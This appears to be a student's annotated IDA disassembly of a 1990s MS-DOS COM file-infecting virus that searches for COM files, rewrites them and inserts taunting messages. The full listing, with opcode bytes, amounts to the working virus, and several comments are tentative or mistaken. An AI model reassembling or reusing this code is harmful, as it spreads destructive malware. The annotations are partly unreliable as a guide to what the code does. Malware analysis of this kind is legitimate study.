```
seg000:0100    ;
seg000:0100    ; +-------------------------------------------------------------------------+
seg000:0100    ; | This file was generated by The Interactive Disassembler (IDA) |
seg000:0100    ; | Copyright (c) 2019 Hex-Rays, <support@hex-rays.com> |
seg000:0100    ; | License info: 48-3051-7114-0E |
seg000:0100    ; | LSU (Louisiana State University), Academic licenses |
seg000:0100    ; +-------------------------------------------------------------------------+
seg000:0100    ;
seg000:0100    ; Input SHA256 : 7E00694397CBB7B422CB2F3E39A34C7FB7554931A1A9A2CF9AE7B2BCF42296E3
seg000:0100    ; Input MD5 : 0B4A318803AA1B9B6A0DCC55CEFCB7CE
seg000:0100    ; Input CRC32 : 785762D7
seg000:0100
seg000:0100    ; ---------------------------------------------------------------------------
seg000:0100    ; File Name : C:\Users\golden\Downloads\dos7-sample (1)\Dos7.com.com
seg000:0100    ; Format : MS-DOS COM-file
seg000:0100    ; Base Address: 1000h Range: 10100h-102C8h Loaded length: 1C8h
seg000:0100
seg000:0100    .686p
seg000:0100    .mmx
seg000:0100    .model tiny
seg000:0100
seg000:0100                    ; ===========================================================================
seg000:0100
seg000:0100                    ; Segment type: Pure code
seg000:0100                    seg000          segment byte public 'CODE' use16
seg000:0100                                    assume cs:seg000
seg000:0100                                    org 100h
seg000:0100                                    assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
seg000:0100
seg000:0100                                    public start
seg000:0100                    start:
seg000:0100 C7 06 07 01 52 01                  mov     word ptr loc_10106+1, 152h ; move 152 into 16-bit ptr loc_106
seg000:0106
seg000:0106                    loc_10106:                              ; DATA XREF: seg000:startâ†‘w
seg000:0106 B8 68 01                           mov     ax, 168h        ; move 168 into ax
seg000:0109 A3 2E 01                           mov     word ptr loc_10129+5, ax ; move ax (168) into 16-bit ptr loc_129
seg000:010C 2B C0                              sub     ax, ax          ; clear ax
seg000:010E 1E                                 push    ds              ; push ds onto stack, preserve ds
seg000:010F 8E D8                              mov     ds, ax          ; move ax (0) value into ds
seg000:0111                                    assume ds:nothing
seg000:0111 8E C0                              mov     es, ax          ; move ax (0) value into es
seg000:0113                                    assume es:nothing
seg000:0113 BE 84 00                           mov     si, 84h ; 'â€ž' ; move 84 into si
seg000:0116 BF 0C 00                           mov     di, 0Ch ; move 0C into di
seg000:0119 A5                                 movsw                   ; ds:si -> es:di
seg000:011A A5                                 movsw                   ; ds:si -> es:di
seg000:011B 26 A1 00 00                        mov     ax, es:0        ; move es:0 into ax
seg000:011F A3 70 01                           mov     ds:170h, ax     ; move ax (es:0) into ds:170
seg000:0122 26 A1 02 00                        mov     ax, es:2        ; move es:2 into ax
seg000:0126 A3 77 01                           mov     ds:177h, ax     ; move ax (es:2) ds:177
seg000:0129
seg000:0129                                    loc_10129:              ; DATA XREF: seg000:0109â†‘w
seg000:0129 26 C7 06 00 00 4C 4D               mov     word ptr es:0, 4D4Ch    ; move 4D4Ch into 16-bit ptr es:0
seg000:0130 1F                                 pop     ds              ; pop ds from stack, stack clear, ds unchanged
seg000:0131                                    assume ds:seg000
seg000:0131 8C D8                              mov     ax, ds          ; move ds (seg000) into ax
seg000:0133 80 C4 10                           add     ah, 10h ; add 10h to ah
seg000:0136 26 A3 02 00                        mov     es:2, ax        ; move ax into es:2
seg000:013A 8E C0                              mov     es, ax          ; move ax into es
seg000:013C                                    assume es:nothing
seg000:013C BF 00 01                           mov     di, 100h        ; move 100h into di
seg000:013F 8B F7                              mov     si, di          ; move di into si
seg000:0141 B9 A3 01                           mov     cx, 1A3h        ; move 1A3h into cx
seg000:0144 F3 A4                              rep     movsb           ; repeat move byte from ds:si -> es:di cx (419) times
                                                                       ; cx becomes 0 (cx - - for each movsb)
seg000:0146 8E D8                              mov     ds, ax          ; move ax into ds (save ax?)
seg000:0148                                    assume ds:nothing
seg000:0148 F7 F1                              div     cx              ; cx = 0, ax = seg000, divide by 0 occurs (ax / 0)

                       ; at beginning of start, 152 and 168 are saved to word ptr 106 and 129 respectively
                       ; data is manipulated and move around, and a divide by 0 occurs at seg000:0148
seg000:014A
seg000:014A                    loc_1014A:                              ; CODE XREF: seg000:01ABâ†‘j
seg000:014A B4 3E                              mov     ah, 3Eh ; '>'   ; 3Eh “close file referenced by file handler” on int 21h
seg000:014C CC                                 int     3               ; int 3 is an interrupt 21h alias
seg000:014D
seg000:014D                    loc_1014D:                              ; CODE XREF: seg000:0195â†‘j
```

```
seg000:014D                                                     ; seg000:01A5â†“j
seg000:014D B4 4F                               mov     ah, 4Fh ; 'O'   ; 4Fh “fine next matching file” on int 21h

seg000:014F CC                                  int     3               ; int 21h

seg000:0150 EB 3A                               jmp     short loc_1018C ; jump to loc_1018C, seg000:018C
seg000:0152 ; ---------------------------------------------------------------------------
seg000:0152 2B C9                               sub     cx, cx          ; clear cx
seg000:0154
seg000:0154                     loc_10154:                              ; CODE XREF: seg000:0166â†“j
seg000:0154 41                                  inc     cx              ; increment cx (cx = 1)
seg000:0155 0E                                  push    cs              ; push cs onto stack, preserving it
seg000:0156 07                                  pop     es              ; pop es, es = cs, es = 1?
seg000:0157                                     assume es:seg000
seg000:0157
seg000:0157                     loc_10157:                              ; CODE XREF: seg000:015Aâ†“j
seg000:0157 B8 05 FE                            mov     ax, 0FE05h      ; move 0FE05 into ax
seg000:015A EB FC                               jmp     short near ptr loc_10157+1 ; jump short near to ptr loc_10157 offset 1

                        ; file referenced by file handler is closed, and a “find next matching file” int 21h executes
                        ; ex is manipulated through the stack, with a value set to 1?
                        ; assume es:seg000 occurs??

seg000:015C ; ---------------------------------------------------------------------------
seg000:015C 2D 02 E7                            sub     ax, 0E702h      ; subtract 0E702h from ax (0FE05h?)
seg000:015F B7 01                               mov     bh, 1           ; mov 1 into bh
seg000:0161 BA 00 00                            mov     dx, 0           ; mov 0 into dx (read hard drive 1)
seg000:0164 CD 13                               int     13h             ; DISK - SET MEDIA TYPE FOR FORMAT (AT model 3x9,X
seg000:0164                                                             ; DL = drive number, CH = lower 8 bits of number o
seg000:0166 EB EC                               jmp     short loc_10154 ; jump to loc_10154
seg000:0168 ; ---------------------------------------------------------------------------
seg000:0168 06                                  push es                 ; push es onto stack
seg000:0169 51                                  push cx         ; push cx onto stack
seg000:016A 07                                  pop es                  ; pop es, es = cx
seg000:016B                                     assume es:nothing
seg000:016B 26 C7 06 00 00 4C 4D                mov     word ptr es:0, 4D4Ch    ; mov 4D4Ch into 16-bit ptr es:0
seg000:0172 26 C7 06 02 00 41 53                mov     word ptr es:2, 5341h    ; mov 5341h into 16-bit es:2
seg000:0179 07                                  pop     es                      ; pop es (es wasn’t on stack?)
seg000:017A C7 06 07 01 68 01                   mov     word ptr ds:107h, 168h  ; move value 168h into ds:107h
seg000:0180 B4 1A                               mov     ah, 1Ah         ; move 1Ah into ah
seg000:0182 99                                  cwd                     ; convert word to doubleword
seg000:0183 CC                                  int     3               ; Trap To Debugger
                                                                        ; int 21h, function 1Ah “set disk transfer area (DTA)
seg000:0184 B4 4E                               mov     ah, 4Eh ; int 21h function 4Eh “find first matching file”
seg000:0186 2B C9                               sub     cx, cx          ; clear cx (search attributes)
seg000:0188 BA 23 02                            mov     dx, 223h        ; mov 223h into dx, setting pointer attribute to
                                                                        ; seg000:223
seg000:018B CC                                  int     3               ; Trap To Debugger
                                                                        ; int 21h
                                                                        ; here we are setting the carry flag for upcoming jb

                        ; interesting thing here, int 21h is called with function 4Eh, “find first matching file”
                        ; before this call, ds:dx, or “pointer to ASCIIZ filename (with attributes) is set seg000:223
                        ; located at seg000:223 is a | db '*W.C?M',0 | execution
                        ; this means that the pointer for 4E is set to a .com file by using the obfuscated wildcard-laden search
seg000:018C
seg000:018C                     loc_1018C:                              ; CODE XREF: seg000:0150â†‘j
seg000:018C 72 7E                               jb      short loc_1020C ; jump if below 0 (.com file missing)


seg000:018E B8 02 3D                            mov     ax, 3D02h       ; move 3D02h into ax
seg000:0191 BA 1E 00                            mov     dx, 1Eh ; move 1Eh into dx
seg000:0194 CC                                  int     3               ; Trap to Debugger
                                                                        ; int 21h, ah = 4Eh “find first matching file”
                        ; int 21h with function 4Eh searches given param seg000:1E
seg000:0195 72 B6                               jb      short loc_1014D ; ; jump if below 0 (.com file missing?)
seg000:0197 8B D8                               mov     bx, ax          ; move 3D02h into bx
seg000:0199 B4 3F                               mov     ah, 3Fh ; '?'   ; function 3Fh “read from file referenced by file handle


seg000:019B BF 1A 00                            mov     di, 1Ah ; move 1Ah into di
seg000:019E 8B 0D                               mov     cx, [di]        ; set cx to address value of di (1Ah)
seg000:01A0 8B D6                               mov     dx, si          ; move si (100h) into dx
seg000:01A2 CC                                  int     3               ; Trap to Debugger
                                                                        ; int 21h
                        ; int 21h here uses:
                        ;                       3Fh : read from a file or device
                        ;                       bx = 3D02h : file handle
                        ;                       cx = address value of 1Ah
                        ;                       ds:dx = seg000:100h
```

```
seg000:01A3 8B 04                           mov     ax, [si]        ; set ax to address value of si (100h)
seg000:01A5 72 A6                           jb      short loc_1014D ; int 21h function 4Fh if CF = 0 (successful read)
seg000:01A7 3B 06 00 01                 cmp     ax, ds:100h     ; compare ds:100h to ax
seg000:01AB 74 9D                           jz      short loc_1014A ; jump if zero to “close file” int 21h function
seg000:01AD 8B 44 02                        mov     ax, [si+2]      ; mov [si+2] (102h) into ax
seg000:01B0 3D 15 60                        cmp     ax, 6015h       ; ??
seg000:01B3 74 02                           jz      short loc_101B7 ; jump if zero to seg000:01B7
seg000:01B5 EB 3F                           jmp     short loc_101F6 ; fallback jump to seg000:01F6
seg000:01B7 ; ---------------------------------------------------------------------------
seg000:01B7
seg000:01B7                     loc_101B7:                              ; CODE XREF: seg000:01B3â†‘j
seg000:01B7 57                              push    di              ; push di onto stack
seg000:01B8 56                              push    si              ; push si onto stack
seg000:01B9 BE 4D 02                        mov     si, 24Dh        ; start of new message
                                                                    ; MSDOS 7 (C)1993 ANARKICK SYSTEMS
                                                                    ;  ☺☺☺     DOS 6 Antivirus sucks. It missed this one!
seg000:01BC BF F0 23                        mov     di, 23F0h       ; default message storage location
seg000:01BF B9 55 00                        mov     cx, 55h ; 'U'   ; length of transferred string
seg000:01C2 90                              nop                     ; No Operation
seg000:01C3 FC                              cld                     ; clear flags
seg000:01C4 F3 A4                           rep     movsb           ; overwrite default message at 23F0h
seg000:01C6 BE 2A 02                        mov     si, 22Ah        ; start of new message
                                                                    ; is infected!
seg000:01C9 BF 57 90                        mov     di, 9057h       ; default message storage location
seg000:01CC B9 0C 00                        mov     cx, 0Ch         ; length of transferred string
seg000:01CF 90                              nop                     ; No Operation
seg000:01D0 F3 A4                           rep     movsb           ; overwrite
seg000:01D2 BE 36 02                        mov     si, 236h        ; start of new message
                                                                    ; oy, are you ever dumb!
seg000:01D5 BF 4C 91                        mov     di, 914Ch       ; default message storage location
seg000:01D8 B9 17 00                        mov     cx, 17h         ; length of transferred string
seg000:01DB 90                              nop                     ; No Operation
seg000:01DC F3 A4                           rep     movsb           ; overwrite


seg000:01DE B8 00 42                        mov     ax, 4200h       ; move 4200h into ax
seg000:01E1 2B D2                           sub     dx, dx          ; clear dx
seg000:01E3 8B CA                           mov     cx, dx          ; clear cx
seg000:01E5 CC                              int     3               ; Trap to Debugger
                                                                    ; int 21h
seg000:01E6 B4 40                           mov     ah, 40h ; '@'   ; function 40h “Write To A File Or Device
seg000:01E8 BA A3 02                        mov     dx, 2A3h        ; seg000:buffer
seg000:01EB B9 BD CE                        mov     cx, 0CEBDh      ; write CEBDh bytes
seg000:01EE CC                              int     3               ; Trap to Debugger
                                                                    ; int 21h
seg000:01EF B4 3E                           mov     ah, 3Eh ; '>'   ; function 3Eh “Close A File Handle”
seg000:01F1 CC                              int     3               ; Trap to Debugger
                                                                    ; int 21h
seg000:01F2 5E                              pop     si              ; pop si from stack
seg000:01F3 5F                              pop     di              ; pop di from stack, stack clear
seg000:01F4 EB 16                           jmp short loc_1020C     ; jmp to loc_1020C
seg000:01F6 ; ---------------------------------------------------------------------------
seg000:01F6
seg000:01F6                     loc_101F6:                              ; CODE XREF: seg000:01B5â†‘j
seg000:01F6 B8 00 42                        mov     ax, 4200h       ; move 4200h into ax
seg000:01F9 2B D2                           sub     dx, dx          ; clear dx
seg000:01FB 8B CA                           mov     cx, dx          ; clear cx
seg000:01FD CC                              int     3               ; Trap to Debugger
                                                                    ; int 21h
seg000:01FE FE C6                           inc     dh              ; increment dh by 1
seg000:0200 B4 40                           mov     ah, 40h ; '@'   ; function 40h “Write To A File Or Device”
seg000:0202 8B 0D                           mov     cx, [di]        ; 000?
seg000:0204 81 C1 A3 01                 add     cx, 1A3h        ; cx = 1A3h
seg000:0208 CC                              int     3               ; Trap to Debugger
                                                                    ; int 21h
seg000:0209 B4 3E                           mov     ah, 3Eh ; '>'   ; function 3Eh “Close A File Handler”
seg000:020B CC                              int     3               ; Trap to Debugger
                                                                    ; int 21h
seg000:020C
seg000:020C                     loc_1020C:                              ; CODE XREF: seg000:loc_1018Câ†‘j
seg000:020C                                                         ; seg000:01F4â†‘j
seg000:020C 8C D0                           mov     ax, ss          ; move ss into ax
seg000:020E 8E C0                           mov     es, ax          ; move ss into es
seg000:0210 8E D8                           mov     ds, ax          ; move ss into ds
seg000:0212                                 assume ds:seg000
seg000:0212 50                              push    ax              ; push ax onto stack
seg000:0213 B4 1A                           mov     ah, 1Ah ; function 1Ah “Set Disk Transfer Area Address (DTA)”
seg000:0215 D1 EA                           shr     dx, 1           ; shift dx right by 1
```

```
seg000:0217 CC                                  int     3               ; Trap to Debugger
                                                                        ; int 21h
seg000:0218 BF 00 01                            mov     di, 100h        ; move 100h into di
seg000:021B 57                                  push    di              ; push di onto stack
seg000:021C 8B CC                               mov     cx, sp          ; move sp into cx
seg000:021E 2B CE                               sub     cx, si          ; subtract si from cx
seg000:0220 F3 A4                               rep     movsb           ; write cx times
seg000:0222 CB                                  retf                    ; return far
seg000:0222 ; ---------------------------------------------------------------------------
                                                                        ;implicit language declarations
seg000:0223 2A db 2Ah ; *
seg000:0224 57 db 57h ; W
seg000:0225 2E db 2Eh ; .
seg000:0226 43 db 43h ; C
seg000:0227 3F db 3Fh ; ?
seg000:0228 4D db 4Dh ; M
seg000:0229 00 db 0
seg000:022A 69 db 69h ; i
seg000:022B 73 db 73h ; s
seg000:022C 20 db 20h
seg000:022D 69 db 69h ; i
seg000:022E 6E db 6Eh ; n
seg000:022F 66 db 66h ; f
seg000:0230 65 db 65h ; e
seg000:0231 63 db 63h ; c
seg000:0232 74 db 74h ; t
seg000:0233 65 db 65h ; e
seg000:0234 64 db 64h ; d
seg000:0235 21 db 21h ; !


seg000:0236 6F db 6Fh ; o
seg000:0237 79 db 79h ; y
seg000:0238 2C db 2Ch ; ,
seg000:0239 20 db 20h
seg000:023A 61 db 61h ; a
seg000:023B 72 db 72h ; r
seg000:023C 65 db 65h ; e
seg000:023D 20 db 20h
seg000:023E 79 db 79h ; y
seg000:023F 6F db 6Fh ; o
seg000:0240 75 db 75h ; u
seg000:0241 20 db 20h
seg000:0242 65 db 65h ; e
seg000:0243 76 db 76h ; v
seg000:0244 65 db 65h ; e
seg000:0245 72 db 72h ; r
seg000:0246 20 db 20h
seg000:0247 64 db 64h ; d
seg000:0248 75 db 75h ; u
seg000:0249 6D db 6Dh ; m
seg000:024A 62 db 62h ; b
seg000:024B 21 db 21h ; !
seg000:024C 20 db 20h
seg000:024C 20 db 20h



seg000:024D 4D db 4Dh ; M
seg000:024E 53 db 53h ; S
seg000:024F 44 db 44h ; D
seg000:0250 4F db 4Fh ; O
seg000:0251 53 db 53h ; S
seg000:0252 20 db 20h
seg000:0253 37 db 37h ; 7
seg000:0254 20 db 20h
seg000:0255 28 db 28h ; (
seg000:0256 43 db 43h ; C
seg000:0257 29 db 29h ; )
seg000:0258 31 db 31h ; 1
seg000:0259 39 db 39h ; 9
seg000:025A 39 db 39h ; 9
seg000:025B 33 db 33h ; 3
seg000:025C 20 db 20h
seg000:025D 41 db 41h ; A
seg000:025E 4E db 4Eh ; N
seg000:025F 41 db 41h ; A
seg000:0260 52 db 52h ; R
seg000:0261 4B db 4Bh ; K
seg000:0262 49 db 49h ; I
```

```
seg000:0263 43 db 43h ; C
seg000:0264 4B db 4Bh ; K
seg000:0265 20 db 20h
seg000:0266 53 db 53h ; S
seg000:0267 59 db 59h ; Y
seg000:0268 53 db 53h ; S
seg000:0269 54 db 54h ; T
seg000:026A 45 db 45h ; E
seg000:026B 4D db 4Dh ; M
seg000:026C 53 db 53h ; S
seg000:026D 0D db 0Dh
seg000:026E 0A db 0Ah
seg000:026F 01 db 1
seg000:0270 01 db 1
seg000:0271 01 db 1
seg000:0272 20 db 20h
seg000:0273 20 db 20h
seg000:0274 20 db 20h
seg000:0275 20 db 20h
seg000:0276 20 db 20h
seg000:0277 44 db 44h ; D
seg000:0278 4F db 4Fh ; O
seg000:0279 53 db 53h ; S
seg000:027A 20 db 20h
seg000:027B 36 db 36h ; 6
seg000:027C 20 db 20h
seg000:027D 41 db 41h ; A
seg000:027E 6E db 6Eh ; n
seg000:027F 74 db 74h ; t
seg000:0280 69 db 69h ; i
seg000:0281 76 db 76h ; v
seg000:0282 69 db 69h ; i
seg000:0283 72 db 72h ; r
seg000:0284 75 db 75h ; u
seg000:0285 73 db 73h ; s
seg000:0286 20 db 20h
seg000:0287 73 db 73h ; s
seg000:0288 75 db 75h ; u
seg000:0289 63 db 63h ; c
seg000:028A 6B db 6Bh ; k
seg000:028B 73 db 73h ; s
seg000:028C 2E db 2Eh ; .
seg000:028D 20 db 20h
seg000:028E 49 db 49h ; I
seg000:028F 74 db 74h ; t
seg000:0290 20 db 20h
seg000:0291 6D db 6Dh ; m
seg000:0292 69 db 69h ; i
seg000:0293 73 db 73h ; s
seg000:0294 73 db 73h ; s
seg000:0295 65 db 65h ; e
seg000:0296 64 db 64h ; d
seg000:0297 20 db 20h
seg000:0298 74 db 74h ; t
seg000:0299 68 db 68h ; h
seg000:029A 69 db 69h ; i
seg000:029B 73 db 73h ; s
seg000:029C 20 db 20h
seg000:029D 6F db 6Fh ; o
seg000:029E 6E db 6Eh ; n
seg000:029F 65 db 65h ; e
seg000:02A0 21 db 21h ; !
seg000:02A1 20 db 20h
seg000:02A2 24 db 24h ; $        ;terminator


seg000:02A3 ; ---------------------------------------------------------------------------
seg000:02A3 B4 09                                   mov ah, 9               ; function 9h “Print String”
seg000:02A5 BA 09 01                                mov dx, 109h            ; DS:109h display string
seg000:02A8 CC                                      int 3                   ; Trap to Debugger
                                                                            ; int 21h
seg000:02A9 B4 4C                                   mov ah, 4Ch ; 'L'       ; function 4Ch “Terminate a Process (EXIT)”
seg000:02AB CC                                      int 3                   ; Trap to Debugger
                                                                            ; int 21h
seg000:02AB ; ---------------------------------------------------------------------------
seg000:02AC 5B db 5Bh ; [                                                   ; [DOS 7v☺☺☺] Lucifer Messiah$
seg000:02AD 44 db 44h ; D
seg000:02AE 4F db 4Fh ; O
seg000:02AF 53 db 53h ; S
seg000:02B0 20 db 20h
```

```
seg000:02B1 37 db 37h ; 7
seg000:02B2 76 db 76h ; v
seg000:02B3 01 db 1
seg000:02B4 01 db 1
seg000:02B5 01 db 1
seg000:02B6 5D db 5Dh ; ]
seg000:02B7 20 db 20h
seg000:02B8 4C db 4Ch ; L
seg000:02B9 75 db 75h ; u
seg000:02BA 63 db 63h ; c
seg000:02BB 69 db 69h ; i
seg000:02BC 66 db 66h ; f
seg000:02BD 65 db 65h ; e
seg000:02BE 72 db 72h ; r
seg000:02BF 20 db 20h
seg000:02C0 4D db 4Dh ; M
seg000:02C1 65 db 65h ; e
seg000:02C2 73 db 73h ; s
seg000:02C3 73 db 73h ; s
seg000:02C4 69 db 69h ; i
seg000:02C5 61 db 61h ; a
seg000:02C6 68 db 68h ; h
seg000:02C7 24 db 24h ; $
seg000:02C7 seg000 ends                                         ;end of seg000/prog
seg000:02C7
seg000:02C7
seg000:02C7 end start
```